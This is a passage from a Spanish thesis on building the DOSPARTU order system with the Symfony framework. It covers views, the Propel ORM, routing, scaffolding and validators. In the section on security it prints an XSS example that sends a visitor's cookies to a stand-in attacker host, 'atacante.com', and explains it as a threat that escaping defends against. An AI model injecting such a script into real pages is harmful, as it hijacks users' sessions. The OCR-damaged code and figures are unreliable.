<p>Nombre: <?php echo $user->getName() ?></p>
<p>Email: <?php echo $user->getEmail() ?></p>

<?php end_slot() ?>
2.7.2.5. Configuracion de la Vista

En la vista, todo lo que no es HTML se considera configuracion de la propia vista y Symfony permite 2

formas de manipular esa configuracion:

Mediante el archivo de configuracion view.yml:
Se utiliza cuando los valores de configuracién no dependen del contexto o de alguna consulta a

la base de datos.

Afadir los atributos directamente en el objeto sfResponse durante la accion:

Cuando se trabaja con valores dinamicos que cambian con cada accion.
2.7.2.6. El Archivo view.yml

Cada médulo®® contiene un archivo view.yml que define las opciones de su propia vista.
De esta forma, es posible definir en un Gnico archivo las opciones de la vista para todo el médulo
entero y las opciones para cada vista.
Las claves de primer nivel en el archivo view.yml son el nombre de cada médulo que se configura.
editSuccess:
Metas:
title: Edita tu perfil
editError:
Metas:
title: Error en la edicion del perfil
all:
stylesheets: [mi_estilo]
Metas:

38 Es una porcion de un programa de computadora
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title: Mi sitio web

Archivo de configuracion de la vista de la aplicacion, en:

apps/miaplicacion/config/view.yml

Default:

http_metas:
content-type: text/html

Metas:
title: symfony project
robots: index, follow
description: symfony project
keywords: symfony, project
language: en

stylesheets: [main]

javascripts: [ ]

has_layout: on

layout: layout

2.7.2.7. El objeto respuesta (response):

34

class mimoduloActions extends sfActions

{

public function executelndex()

{

$respuesta = $this->getResponse();

/I Cabeceras HTTP
$respuesta->setContentType(‘text/xml’);
$respuesta->setHttpHeader('Content-Language’, 'en’);
$respuesta->setStatusCode(403);
$respuesta->addVaryHttpHeader('Accept-Language’);
$respuesta->addCacheControlHttpHeader('no-cache');
/l Cookies

$respuesta->setCookie($nombre,  $contenido, $expiracion,
$ruta,

$dominio);

Il Atributos Meta y cabecera de la pagina
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$respuesta->addMeta(‘robots’, 'NONE");
$respuesta->addMeta('keywords', ‘palabral palabra2');
$respuesta->setTitle('Mi Pagina de Ejemplo’);
$respuesta->addStyleSheet('mi_archivo_css");

$respuesta->addJavaScript('mi_archivo_javascript);

}

2.7.3. MVC: Modelo

El componente que gestiona el modelo es una capa de tipo ORM (object/relational mapping) realizada
mediante el proyecto Propel (http://propel.phpdb.org/).
El acceso y la modificacion de los datos almacenados en la base de datos se realiza mediante objetos*.

Este comportamiento permite un alto nivel de abstraccion y permite una facil portabilidad.
2.7.3.1. Esquema de Base de Datos

Para crear el modelo de objetos de datos se debe traducir el modelo relacional de la base de datos a un
modelo de objetos de datos.
Para realizar ese mapeo o traduccion, el ORM* necesita una descripcion del modelo relacional, que se

llama "esquema*""

(schema).

En el esquema se definen las tablas, sus relaciones y las caracteristicas de sus columnas.
La sintaxis para definir los esquemas hace uso del formato YAML.

Los archivos schema.yml deben guardarse en el directorio miproyecto/config/.

Vamos a ilustras como se trabaja con las bases de dato en symfony:

Ejemplo de esquema (Modelo E-R):

bliog_articla blog_commeant
id id

tithe {0 article_ld (FK)
content () author (0)
created_at (0 cantent (0

cregted_at (0)

Figura 9 Ejemplo de esquema
Fuente: [http://www.librosweb.es/symfony_1_2/]

39 Representacion detallada y particular de algo de la realidad
40 http://es.wikipedia.org/wiki/Mapeo_objeto-relacional
41 Describa la estructura de la base de datos
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Ejemplo de schema.yml:
propel:

blog_article:
_attributes: { phpName: Article }
id:
title: varchar(255)
content: longvarchar
created_at:
blog_comment:

_attributes: { phpName: Comment }
id:
article_id:
author: varchar(255)
content: longvarchar

created_at:

Cada tabla puede definir varios atributos, incluyendo el atributo phpName (que es el nombre de la clase
PHP que serd generada para esa tabla). Si no se menciona el atributo phpName para una tabla,
Symfony crea una clase con el mismo nombre que la tabla al que se aplica las normas del camelCase.

Las tablas contienen columnas y el valor de las columnas se puede definir de 3 formas diferentes:

- Si no se indica nada, Symfony intenta adivinar los atributos mas adecuados para la columna en
funcion de su nombre y de una serie de convenciones.
Por ejemplo, en el listado anterior no es necesario definir la columna id. Symfony por defecto
la trata como de tipo entero (integer), cuyo valor se auto-incrementa y ademas, clave principal
de la tabla.
En la tabla blog_comment, la columna article_id se trata como una clave externa a la tabla
blog_article (las columnas que acaban en _id se consideran claves externas, y su tabla
relacionada se determina automéaticamente en funcion de la primera parte del nombre de la
columna).
Las columnas que se llaman created_at automaticamente se consideran de tipo timestamp. Para
este tipo de columnas, no es necesario definir su tipo.

=> Si solo se define un atributo, se considera que es el tipo de columna.
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Symfony entiende los tipos de columna habituales: boolean, integer, float, date,
varchar(tamafio), longvarchar (que se convierte, por ejemplo, en tipo text en MySQL), etc.
Para contenidos de texto de més de 256 caracteres, se utiliza el tipo longvarchar, que no tiene
tamafio definido (pero que no puede ser mayor que 65KB en MySQL). Los tipos date y
timestamp tienen las limitaciones habituales de las fechas de Unix y no pueden almacenar
valores anteriores al 1 de Enero de 1970. Como puede ser necesario almacenar fechas
anteriores (por ejemplo para las fechas de nacimiento), existe un formato de fechas "anteriores
a Unix" que son bu_date and bu_timestamp.
=> Si se necesitan definir otros atributos a la columna.
Por ejemplo su valor por defecto, si es obligatorio o no, etc.), se indican los atributos como

pares clave: valor.
2.7.3.2. Las Clases del Modelo

El esquema se utiliza para construir las clases del modelo que necesita la capa del ORM.
Para reducir el tiempo de ejecucion de la aplicacidn, estas clases se generan mediante una tarea de linea
de comandos llamada propel:build-model.
> symfony propel:build-model
->Al ejecutar ese comando, se analiza el esquema y se generan las clases base del modelo, que se
almacenan en el directorio lib/model/om/ del proyecto:
BaseArticle.php
BaseArticlePeer.php
BaseComment.php
BaseCommentPeer.php
=>Ademas, se crean las verdaderas clases del modelo de datos en el directorio lib/model/:
Article.php
ArticlePeer.php
Comment.php
CommentPeer.php
Clases base y clases personalizadas:
-> ;Por qué es Gtil mantener 2 versiones del modelo de objetos de datos en 2 directorios diferentes?
Puede ser necesario afiadir métodos y propiedades personalizadas en los objetos del modelo.
También es posible que a medida que el proyecto se esté desarrollando, se afiadan tablas o

columnas.
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Ademas, cada vez que se modifica el archivo schema.yml se deben regenerar las clases del
modelo de objetos mediante el comando propel:build-model. Si se afiaden los métodos
personalizados en las clases que se generan, se borrarian cada vez que se vuelven a generar
esas clases.
Las clases con nombre Base del directorio lib/model/om/ son las que se generan directamente a partir
del esquema. Nunca se deberian modificar esas clases, porque cada vez que se genera el modelo, se
borran todas las clases.
Las clases de objetos propias que estan en el directorio lib/model heredan de las clases con nombre
Base. Estas clases no se modifican cuando se ejecuta la tarea propel:build-model, por lo que son las
clases en las que se afiaden los métodos propios.

=> Archivo de ejemplo de una clase del modelo, en:

lib/model/Article.php
<?php
class Article extends BaseArticle
{
¥

Clases objeto y clases "peer":

- Article y Comment son clases objeto que representan un registro de la base de datos. Permiten
acceder a las columnas de un registro y a los registros relacionados. Por tanto, es posible obtener el
titulo de un articulo invocando un método del objeto Article:

$articulo = new Atrticle();

S$titulo = $articulo->getTitle();
- ArticlePeer y CommentPeer son clases de tipo "peer"; es decir, clases que tienen métodos
estaticos para trabajar con las tablas de la base de datos. Proporcionan los medios necesarios para
obtener los registros de las tablas. Sus métodos devuelven normalmente un objeto o una coleccion de
objetos de la clase objeto relacionado:

$articulos = ArticlePeer::retrieveByPks(array(123, 124, 125));

Il $articulos es un array de objetos de la clase Article
2.7.3.3. Acceso a Datos

El acceso a los datos se realiza mediante objetos, utilizando el ORM Propel para symfony.
Propel es un servicio de objeto persistente y de consulta; lo que significa que provee un sistema para

almacenar objetos desde una base de datos. Propel permite realizar consultas complejas y manipulacion
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de bases de datos sin escribir una sola consulta SQL, haciendo maés facil la escritura de aplicaciones,

mas facil de desplegar y mucho més facil para migrar si alguna vez la situacion lo amerita.

Propel puede ser escrito como un mapeado objeto-relacional, una capa DAO*, o una capa objeto
persistente. Propel es un puerto de Apache torque. Basado en acercamientos probados, desarrollados
por el proyecto Torque y otimizado para PHP Propel espera proporcionar un inteligente y complejo

servicio de manejo de datos con un minimo costo de realizacion para su aplicacion en PHP.

Para esos familiares con patrones O/R, Propel inicialmente implementa el patron entrada de datos en

fila, como lo describe Martin Fowler, para representar la base de datos. Por citar a Fowler:

Una entrada de datos de fila le da objetos que lucen exactamente como el registro en su
estructura de registros pero puede ser accedido con los mecanismos regulares de su lenguaje
de programacién habitual. Todos los detalles de acceso de fuentes de datos estdn ocultos

detras de esta interfaz.

Sin embargo, Propel también genera las clases para cada tabla que exhibe algunas de las propiedades
de la tabla del patrén datos de entrada:

Una tabla de entrada de datos almacena todo el SQL para acceder a una sola tabla o vista: selecciones,
inserciones, actualizaciones, y eliminaciones. Otro cédigo llama los métodos para todas las
interacciones con la base de datos.

En Propel las clases de tabla de entrada de datos son llamadas clasesPeer, mientras las clases de filas
de entrada de datos son llamadas entidad o clases objeto.

Como una aplicacién, Propel tiene dos componentes principales (y ahora formalmente separados):

» Un motor generador para construir sus clases y archivos SQL(generador-propel).
» Un ambiente de ejecucién que proporciona herramientas para construir consultas SQL,
ejecutando consultas compiladas, y herramientas para el manejo de conexiones para multiples

bases de datos simultaneamente(propel)

El ambiente de ejecucién proporciona una capa de abstracciones y encapsulacion de bases de datos
reglas logicas de negocios. Las clases Propel representan la capa modelo del tradicional MVC,

disefiado para encapsular cualquier nivel de validacion de dato necesitado por su aplicacion. El

42 http://es.wikipedia.org/wiki/Data_Access_Object
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siguiente diagrama ilustra como Propel existe en relacion a Creole y las subyacentes bases de datos.
(Note que el maximo-nivel significa poder encarnar cualquier aplicacion PHP, y puede bien envolver

cualquier capa adicional).
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propel/”

OBJECT PERSISTENCE LAYER
Creates complex data

maodel objects based on

a simple XML definition

~ DB INTERFACE LAYER
Provides a uniform AP|
for talking to different
dotobase systems

Figura 10 ORM Propel
Fuente: [http://www.orm-designer.com/propel]

Hay un nimero de implementaciones de objetos persistentes*® proporcionando diferentes niveles de
abstraccion**, algunos son abstraidos hacia el punto donde los objetos pueden incluso ser persistentes a
no-SQL backends®. Propel es una capa muy literal de persistencia de objetos: EI modelo de datos
XML* corresponde muy cerca de la estructura de la base de datos. Entidades en Propel son siempre
tablas; relaciones son especificadas usando llaves extranjeras; los tipos de columnas de propel

corresponden casi directamente con el nivel de base de datos (Creole) tipos de columna.
2.8. Enlaces y Sistemas de Enrutamiento

El enrutamiento es un mecanismo que reescribe las URL para simplificar su aspecto.
Symfony desasocia las URL externas y las URI utilizadas internamente. La correspondencia entre las
dos es responsabilidad del sistema de enrutamiento. Symfony simplifica este mecanismo utilizando una
sintaxis para las URI internas muy similares a la de las URL habituales.
/I Sintaxis de las URI internas
<modulo>/<accion>[?parametrol=valorl][&parametro2=valor2][&parametro3=valor3]...

/l Ejemplo de URI interna que nunca se muestra al usuario

43 Que tiene firmeza y constancia

44 http://es.wikipedia.org/wiki/Abstracci%C3%B3n_(inform%C3%Altica)
45 Datos almacenados temporalmente

46 http://es.wikipedia.org/wiki/Extensible_Markup_Language
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articulo/permalink?ano=2006&tema=economia&titulo=sectores-actividad
/I Ejemplo de URL externa que se muestra al usuario

http://www.ejemplo.com/articulos/economia/2006/sectores-actividad.html

El sistema de enrutamiento utiliza un archivo de configuracion especial, llamado routing.yml

articulo_segun_titulo:
url: articulos/:tema/:ano/:titulo.html

param: { module: articulo, action: permalink }

Ademas, no se deben escribir los enlaces directamente con etiquetas <a> (ya que de esta forma no se

estaria utilizando el sistema de enrutamiento) sino con un helper especial.

<?php echo link_to(
‘pincha aqui','articulo/permalink?tema=economia&ano=2006&titulo=sectores-actividad'

) 2>
2.9. Generadores

Muchas aplicaciones web se reducen a una mera interfaz de acceso a la informacion almacenada en
una base de datos.

Symfony automatiza la tarea repetitiva de crear médulos para manipular datos mediante el uso de
objetos Propel. Si el modelo de objetos estd bien definido, es posible incluso generar de forma
automatica la parte de administracién completa de un sitio web.

En esta seccion se explican los 2 tipos de generadores automaticos incluidos en Symfony:

» Scaffolding

» Generador de la parte de administracion.
2.9.1. Scaffolding

El ""scaffolding es una estructura basica de acciones y plantillas para poder realizar las operaciones
CRUD* en una tabla de la base de datos.
El codigo generado es minimo, ya que solo es una guia para seguir desarrollando. Se trata de la base

inicial que debe adaptarse para seguir los requerimientos de Idgica y presentacion de la aplicacion.

47 http://es.wikipedia.org/wiki/CRUD
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El "'scaffolding™ se utiliza durante la fase de desarrollo de la aplicacion para crear una acceso via web

a la base de datos, para construir un prototipo rapido o para realizar automaticamente el codigo basico

de un moédulo basado en una tabla de la base de datos.

2.9.1.1. Generando el Scafflolding

Para generar el scaffolding del mddulo article basado en la clase Article del modelo.

> symfony propel:generate-crud miaplicacion article Article

El médulo generado incluye 3 vistas:

43

La vista list, que es la vista por defecto, muestra las filas de datos de la tabla blog_article

cuando se accede a la aplicacién mediante http://localhost/miaplicacion_dev.php/article:

article
Il Title Content Created at
Welcome to the Thiz iz the flrgt pnst of th!s weeblog. Honestly, rt i=just a S00EA 112
test to check if it works fine. Pleaze comment it as much
symfony wekblog! ) 20:20:25
as youl like.
- . The purpose of 3 wehlog iz usually totalk sbout one's 2006-11-12
2 Life is beautiful mood. Mine iz great today. Howy is yours? 20:20:25

creste

Figura 11 Vista list
Fuente: [http://www.librosweb.es/symfony_1_2/]

La lista show. Todos los detalles de una fila de datos se muestran en una Unica pagina:

ld: 1
Title:  ‘Wuelcome to the symfony weblog!

Thiz iz the first post of this weblog. Honestly, it iz just 5 test to check if £ works
fine. Please comment it as much a3 you like.

c 'f““fe" 2008-11-12 20:20:25

Content:

et list

Figura 12 Lista show
Fuente: [http://www.librosweb.es/symfony_1_2/]

La edicién, edit;


http://localhost/miaplicacion_dev.php/article
http://www.librosweb.es/symfony_1_2/
http://www.librosweb.es/symfony_1_2/
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Title:  WWelcome to the symfom

Thiz iz the first post of this |a

webhlog, Honestly, it iz just a

Content: L
test to check if it works

fine. Please conwent it as W

Save | delete cancel

Figura 13 Edicion edit
Fuente: [http://www.librosweb.es/symfony_1_2/]

Elementos generados para las operaciones CRUD, en miaplicacion/modules/article/

/I En actions/actions.class.php

index // Redirige a la accion "list"

list // Muestra un listado de todas las filas de la tabla

show // Muestra todas las columnas de una fila

edit // Muestra un formulario para modificar la columnas de una
fila

update // Accién gue se llama en el formulario de la accion "edit"
delete // Borra una fila

create // Crea una nueva fila

I/l En templates/

editSuccess.php // Formulario para modificar una fila (vista "edit")
listSuccess.php // Listado de todas las filas (vista "list™)

showSuccess.php // Detalle de una fila (vista "show")
2.9.1.2. Iniciando el Scafflolding

Otra opcidn a la generacién esta en "iniciar" para comprobar que se puede acceder a los datos de la
base de datos.
Un scaffolding que solo ha sido iniciado es muy facil de crear y muy fécil de borrar una vez que se ha

comprobado que todo funciona correctamente.

>php symfony propel:init-crud miaplicacion article Article
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Las paginas resultantes son exactamente iguales que las que tiene un scaffolding completamente
generado.
La diferencia esta en que los archivos generados se guardan en la cache de la aplicacion

(miproyecto/cache/miaplicacion/prod/module/autoArticle/).
2.9.2. Administracion

La "administracion" es una interfaz avanzada para manipular los datos y que se emplea en la parte de
gestion o administracion de las aplicaciones.

La principal diferencia con el "scaffolding™ es que el programador no modifica el c6digo generado
para la parte de administracion.

Mediante archivos de configuracion y herencia*® de clases se puede personalizar y extender la parte
de administracion generada.

La presentacion de la interfaz es importante y por eso incluyen opciones como el filtrado, la paginacién
y la ordenacién de datos.

La parte de administracion generada automéaticamente con Symfony tiene calidad suficiente como para

entregarla al cliente formando parte de la aplicacion que se le ha desarrollado.
2.9.2.1. Creando la Parte de Administracion de las Aplicaciones

Iniciando un médulo de administracion:

Previamente iniciaremos la aplicacion backend:

> php symfony generate:app backend

Los médulos se generan en base a objetos Propel mediante la tarea propel:init-admin:

> php symfony propel:init-admin backend article Article

Es accesible desde la direccion:

http://miaplicacion.ejemplo.com/backend.php/article

*8 http://es.wikipedia.org/wiki/Herencia_(inform%C3%Altica)
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article list edit article

ldl Title Content Created at Title: wielcome ta the symtany

This iz the first post of this weblog. Hanestly,  is

Welcome tothe e ) December 1, Content: This is the first post of this weblog.
S— just & test to check if it warks fine. Please o006 147 EM Himestly i just 2 105 t0 chaok If §
Y Y g comment it &5 much as YUU like. ) wworks fine. Plesse comment it as much
as you like.

The purpose of & weblog iz usually to talk sbout  December 1,

2 ol one's mood. Mine iz great today. How iz vours? — 20061:17 PM Crested at: 1241106

2 results

= list I e zave e zave and add

2 create & delete

Figura 14 Administracion
Fuente: [http://www.librosweb.es/symfony_1_2/]

Los médulos de una administracion solamente pueden ser iniciados y nunca generados.
Caodigo generado:

Elementos de administracion generados automaticamente, en
cache/backend/ENV/modules/article/:

I/ En actions/actions.class.php

create // Redirige a "edit"
delete // Borra una fila
edit /I Muestra un formulario para modificar la columnas de una fila

/'y procesa el envio del formulario

index // Redirige a "list"
list // Muestra un listado de todas las filas de la tabla
save // Redirige a "edit"

/I En templates/
_edit_actions.php
_edit_footer.php
_edit_form.php
_edit_header.php
_edit_messages.php
_filters.php
_list.php
_list_actions.php

_list_footer.php
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_list_header.php
_list_messages.php
_list_td_actions.php
_list_td_stacked.php
_list_td_tabular.php
_list_th_stacked.php
_list_th_tabular.php
editSuccess.php
listSuccess.php
Conceptos basicos del archivo de configuracion generator.yml
Configuracion por defecto para la generacion de la administracion, en:
backend/modules/article/config/generator.yml
generator:
class: sfPropelAdminGenerator
param:
model_class: Article

theme: default
2.9.2.2. Configuracion Completa Tipica para el Generador

generator:
class: sfPropelAdminGenerator
param:
model_class: Article
theme: default
fields:
author_id: { name: Article author }
list:
title: List of all articles
display: [title, author_id, category id]
fields:
published_on: { params: date_format="dd/MM/yy' }
layout: stacked
params: |
%%is_published%%<strong>%%=title%%</strong><br /><em>hy %%author%%

47



48

DOSPARTU 1.0 Sistema de Gestién de Pedidos y Proformas Dinamicas por Internet

in %%category%% (%%published _on%%)</em><p>%%content_summary%%</p>
filters: [title, category_id, author_id, is_published]
max_per_page: 2
edit:
title: Editing article "%%title%%"
display:
"Post": [title, category_id, content]
"Workflow": [author_id, is_published, created_on]
fields:
category_id: { params: disabled=true }
is_published: { type: plain}
created_on: { type: plain, params: date_format="dd/MM/yy' }
author_id: { params: size=5 include_custom=>> Choose an author << }
published_on: { credentials: }

content; { params: rich=true tinymce_options=height:150 }



CAPITULO I

DEFINICION DE LAS
REGLAS DE NEGOCIO




DOSPARTU 1.0 Sistema de Gestion de Pedidos y Proformas Dinamicas por Internet

3. Definicién de las Reglas del Negocio

La arquitectura Model-View-Controller, su concepto se basaba en separar el modelo de datos de la
aplicacion de su representacién de cara al usuario y de la interaccion de éste con la aplicacion,

mediante la division de la aplicacion en tres partes fundamentales:

» El modelo, que contiene la légica de negocio de la aplicacion.

» Lavista, que muestra al usuario la informacién que éste necesita.

» El controlador, que recibe e interpreta la interaccién del usuario, actuando sobre modelo y vista
de manera adecuada para provocar cambios de estado en la representacion interna de los datos,

asi como en su visualizacion.

Navegador]

> Modelo ——

wiy
|
v
-
&
|

Navegadon

e

=

Base de datos

Navegadon

admin.

Figura: Arquitectura del Sistema
Fuente: [Propia]

3.1. Introduccion

Al desarrollar esta aplicacion Web la seguridad, confidencialidad de los datos de los clientes es el mas
importante, para obtener asi la fidelidad por parte de los clientes a nuestra aplicacién.

Igualmente la seguridad para la compafiia, que no se vea vulnera en ninguno de los aspectos.

3.2. Contexto Empresarial
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La importadora Jimemor Cia.Ltda, a lo largo de sus casi seis afios dedicada a las importaciones y
distribucién de periféricos de computadora, hace que tenga un mercado reconocido, y una cartera de
clientes definida, permitiendo posicionarse en el mercado.

Sus productos principales de importacion es: Fuentes de poder, teclados, mouse, cases camaras web en

marca DELUX de alta calidad, lo que hace que los clientes se sientan satisfechos.
3.3. Objetivos del Producto

El desarrollo de esta aplicacion web, permitira la interaccion mas directa con los clientes, mejorando la

atencion y el servicio.
3.4. Restricciones

Entre las restricciones tenemos las siguientes:

No permite pagos por internet.

No se permite el envié de productos fuera del pais.
3.5.Reglas del Negocio

El framework Symfony incluye proteccion frente a ataques de tipo XSS y CSRF. Estas opciones se

pueden configurar desde la linea de comandos o editando un archivo de configuracion.

Ataques XSS:

XSS, del inglés Cross-site scripting es un tipo de inseguridad informatica o agujero de seguridad tipico
de las aplicaciones Web, que permite a una tercera parte inyectar en paginas web vistas por el usuario
cddigo JavaScript o en otro lenguaje script similar (ej: VVBScript), evitando medidas de control como la
Politica del mismo origen. Este tipo de vulnerabilidad se conoce en espafiol con el nombre de
Secuencias de comandos en sitios cruzados.

Es posible encontrar una vulnerabilidad XSS en aplicaciones que tenga entre sus funciones presentar la
informacion en un navegador web u otro contenedor de péaginas web. Sin embargo, no se limita a sitios
web disponibles en Internet, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el
navegador en si.

XSS es un vector de ataque que puede ser utilizado para robar informacién delicada, secuestrar
sesiones de usuario, y comprometer el navegador, subyugando la integridad del sistema. Las

vulnerabilidades XSS han existido desde los primeros dias de la Web.
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Esta situacion es usualmente causada al no validar correctamente los datos de entrada que son usados

en cierta aplicacion, o no sanear la salida adecuadamente para su presentacion como pagina web.

Esta vulnerabilidad puede estar presente de las siguientes formas:
Directa: (también llamada Persistente): este tipo de XSS comunmente filtrado, y consiste en
embeber codigo HTML peligroso en sitios que lo permitan; incluyendo asi etiquetas como
<script> o <iframe>.
Indirecta: (también Ilamada Reflejada): este tipo de XSS consiste en modificar valores que la
aplicacién web utiliza para pasar variables entre dos paginas, sin usar sesiones y sucede cuando
hay un mensaje o una ruta en la URL del navegador, en una cookie*, o cualquier otra cabecera
HTTP (en algunos navegadores y aplicaciones web, esto podria extenderse al DOM®® del

navegador).

Las aplicaciones web que permiten a los usuarios introducir datos deben ser especialmente cuidadosas
con la forma en la que procesan y muestran esos datos. Si no se toman las precauciones oportunas, se
pueden producir ataques de tipo XSS (cross-site scripting).

Imagina que la aplicacién permite a los usuarios introducir comentarios en los articulos mediante un

&lt;textarea>, y entra un usuario malicioso que introduce lo siguiente:

<script>;
document.write('<script src="http://www.atacante.com/get_cookies?cookies="
document.write(document.cookie)
document.write("'></script>");

</script>

Si la aplicacién no tiene en cuenta que los usuarios pueden introducir este tipo de datos y muestra
directamente el contenido de ese comentario, el resultado es que cualquier usuario que acceda a la

pagina enviara el contenido de su cookie al servidor del atacante.

Symfony por defecto esta expuesto a algunos ataques de tipo XSS, tal y como se explica en su
documentacion oficial. En concreto, el capitulo 7 del libro de Symfony explica el mecanismo de escape

gue incluye Symfony para evitar los ataques de tipo XSSy las opciones disponibles.

49 http://es.wikipedia.org/wiki/Cookie
50 http://es.wikipedia.org/wiki/Document_Object_Model
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(http://www.librosweb.es/symfony/capitulo7/mecanismo_de_escape.html)

Ataques CSRF:

El CSRF™ (del inglés Cross-site request forgery o falsificacion de peticién en sitios cruzados) es un
tipo de exploit malicioso de un sitio web en el que comandos no autorizados son transmitidos por un
usuario en el cual el sitio web confia. Esta vulnerabilidad es conocida también por otros nombres como

XSRF, enlace hostil, ataque de un clic, cabalgamiento de sesion, y ataque automatico.
3.6. Validacion de Formularios con Symfony

El framework de formularios de Symfony incluye muchos validadores utiles que cubren las
necesidades comunes de la mayoria de proyectos. En este capitulo se describen detalladamente todos
los validadores que incluye por defecto Symfony. También se explican los validadores incluidos en los
plugins sfPropelPlugin y sfDoctrinePlugin, ya que estos plugins los desarrollan los creadores de

Symfony e incluyen muchos validadores Utiles.
3.6.1. Laclase base sfValidatorBase

Todos los validadores de Symfony heredan de la clase base sfValidator, que proporciona las
caracteristicas comunes de todos los validadores.

La finalidad de los validadores consiste en limpiar y validar los valores originales.

Cuando se crea un validador, se le pueden pasar como argumentos opcionales diferentes opciones y
mensajes de error:

$v = new sfValidatorString();

$v->setOptions(array('required' => true));

$v->setMessages(array('required' => 'Este valor es obligatorio."));

Los valores originales se pueden validar con el método clean():

$valorLimpio = $v->clean('nombre’, ‘valor', array(‘class' => 'foo"));

El método clean() toma como argumento el valor original y devuelve el valor limpio. Si se produce un

error de validacion, se lanza una excepcion de tipo sfValidatorError.

51 http://es.wikipedia.org/wiki/Cross_Site_Request_Forgery
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Los validadores no almacenan informacion sobre su estado, lo que significa que una sola instancia de
un validador puede validar tantos valores como necesites.

sfVValidatorBase define las siguientes opciones por defecto:

Opcion Error Descripcion

required required | Vale true si el valor es obligatorio y false en cualquier otro caso (su

valor por defecto es true)

trim - Vale true si se deben eliminar los espacios en blanco del principio y del
final del valor y falseen cualquier otro caso (su valor por defecto es

false)

Empty_value Valor vacio que se devuelve cuando el valor no es obligatorio

Tabla 2 Validadores por defecto
Fuente: [Propia]

sfValidatorBase también define los siguientes mensajes de error por defecto:

Error Descripcion

required Mensaje de error que se muestra cuando el valor original esta vacio

pero es obligatorio (por defecto el mensaje que se muestra es Required)

invaid Mensaje de error genérico que se muestra cuando se produce un error

(por defecto el mensaje que se muestra es Invalid)

Tabla 3 Error validadores
Fuente: [Propia]

Para modificar los mensajes por defecto de los errores required y invalid, puedes utilizar los métodos

setRequiredMessage() y setinvalidMessage():

sfValidatorBase::setRequiredMessage('Este valor es obligatorio.");

sfVValidatorBase::setInvalidMessage('Este valor no es valido.";

Los mensajes de error pueden contener variables en forma de cadenas de texto encerradas por %. Las
variables se sustituyen por sus valores durante la ejecucion de la aplicacion. Todos los mensajes de
error tienen acceso directo al valor original mediante una variable llamada %value%. Ademas, los
mensajes de error pueden definir sus propias variables.

Tenemos muchos validadores disponible

http://www.librosweb.es/symfony_formularios/capitulo12/widgets_de_tipo_input.html
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3.7. Acceso a Base de Datos

El modelo relacional y el modelo de objetos utilizan conceptos similares:

Relacional Orientada a Objetos
Tabla Clase

Fila, registro Objeto

Campo, columna | Propiedad

Tabla 4 Modelo entidad-relacion
Fuente: [Propia]

Obtener el valor de una columna:
= Al construir el modelo se crea una clase de objeto base que contiene una serie de constructores y

accesores por defecto en funcion de la definicién de cada columna: los métodos new, getXXX() y

setXXX() permiten crear y obtener las propiedades de los objetos:

$articulo = new Atrticle();
$articulo->setTitle('Mi primer articulo");
$articulo->setContent('Este es mi primer articulo. \n Espero que te guste.");
S$titulo = $articulo->getTitle();
$contenido = $articulo->getContent();
/I Para establecer el valor de varios campos a la vez, se puede utilizar el
método fromArray()
$articulo->fromArray(array(
'title' => 'Mi primer articulo’,
‘content’ => 'Este es mi primer articulo. \n Espero que te guste.'
);
Obtener los registros relacionados:
-> La columna article_id de la tabla blog_comment define implicitamente una clave externa a la tabla
blog_article.
Cada comentario esta relacionado con un articulo y un articulo puede tener muchos comentarios.
-> Las clases generadas contienen 5 métodos que traducen esta relacion a la forma orientada a objetos,
de la siguiente manera:
$comentario->getArticle(): para obtener el objeto Article relacionado
$comentario->getArticleld(): para obtener el ID del objeto Article relacionado
$comentario->setArticle($articulo): para definir el objeto Article relacionado

$comentario->setArticleld($id): para definir el objeto Article relacionado a partir de un ID
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$articulo->getComments(): para obtener los objetos Comment relacionados

-> Las claves externas se traducen en un setter especial:

$comentario = new Comment();

$comentario->setAuthor('Steve');

$comentario->setContent(';Es el mejor articulo que he leido nunca!’);
/I Afiadir este comentario al anterior objeto $articulo
$comentario->setArticle($articulo);

/I Sintaxis alternativa

// Solo es correcta cuando el objeto articulo ya

// ha sido guardado anteriormente en la base de datos

$comentario->setArticleld($articulo->getld());
3.7.1. Guardar Datos

Al utilizar el constructor new se crea un nuevo objeto, pero no un registro en la tabla blog_article. Si
se modifica el objeto, tampoco se reflejan esos cambios en la base de datos.

Para guardar los datos en la base de datos, se debe invocar el método save() del objeto.

$articulo->save();

El ORM de Symfony detectara las relaciones entre objetos, por lo que al guardar el objeto $articulo
también se guarda el objeto $comentario relacionado.

También detecta si ya existia el objeto en la base de datos, por lo que el método save() a veces se
traduce a una sentencia INSERT de SQL y otras veces se traduce a una sentencia UPDATE.

La clave primaria se establece de forma automatica al Ilamar al método save(), por lo que después de

guardado, se puede obtener la nueva clave primaria del objeto mediante $articulo->getld().
3.7.2. Borrar Datos
Mediante el método delete() del objeto relacionado.
foreach ($articulo->getComments() as $comentario)

{

$comentario->delete();
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3.7.3. Obtener Regitros Mediante la clave Primaria

$articulo = ArticlePeer::retrieveByPk(7);

En algunos casos, la clave primaria est4 formada por més de una columna. Es esos casos, el método
retrieveByPK() permite indicar varios parametros, uno para cada columna de la clave primaria.
También se pueden obtener varios objetos a la vez mediante sus claves primarias, invocando el método

retrieveByPKs(), que espera como argumento un array de claves primarias.
3.7.4. Obtener Registros Mediante Criteria

Cuando se quiere obtener méas de un registro, se debe utilizar el método doSelect() de la clase peer
correspondiente a los objetos que se quieren obtener.

Por ejemplo, para obtener objetos de la clase Article, se llama al método ArticlePeer::doSelect().

El primer parametro del método doSelect() es un objeto de la clase Criteria, que es una clase para

definir consultas simples sin utilizar SQL, para conseguir la abstraccion de base de datos.

/I Obtener todos los articulos

$c = new Criteria();

$articulos = ArticlePeer::doSelect($c);

/I Filtrar y ordenar comentarios

$c = new Criteria();

$c->add(CommentPeer:: AUTHOR, 'Steve');
$c->addAscendingOrderByColumn(CommentPeer::CREATED_AT);

$comentarios = CommentPeer::doSelect($c);
3.7.5. Uso de Consultas con Codigo SQL

A veces, no es necesario obtener los objetos, sino que solo son necesarios algunos datos calculados por

la base de datos.

$conexion = Propel::getConnection();

$consulta = "'SELECT MAX(%s) AS max FROM %s';

$consulta = sprintf($consulta, ArticlePeer:: CREATED_AT, ArticlePeer:: TABLE_NAME);
$sentencia = $conexion->prepareStatement($consulta);

$resultset = $sentencia->executeQuery();
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$resultset->next();

$max = $resultset->getint('max'’);
3.7.6. Coneccién con las Bases de Datos.

prod:
propel:
param:
hostspec: miservidordatos
username: minombreusuario
PasSWord: XXXXXXXXXX
all:
propel:
class: sfPropelDatabase

param:

phptype: mysql # fabricante de la base de datos

hostspec: localhost
database: blog
username: login
password: passwd
port: 80

encoding: utf8 # Codificacion utilizada para crear la tabla

persistent: true # Utilizar conexiones persistentes

3.7.7. Extender Modelo

Si se incluye ldgica de negocio propia, es necesario extender el modelo afiadiendo nuevos métodos o
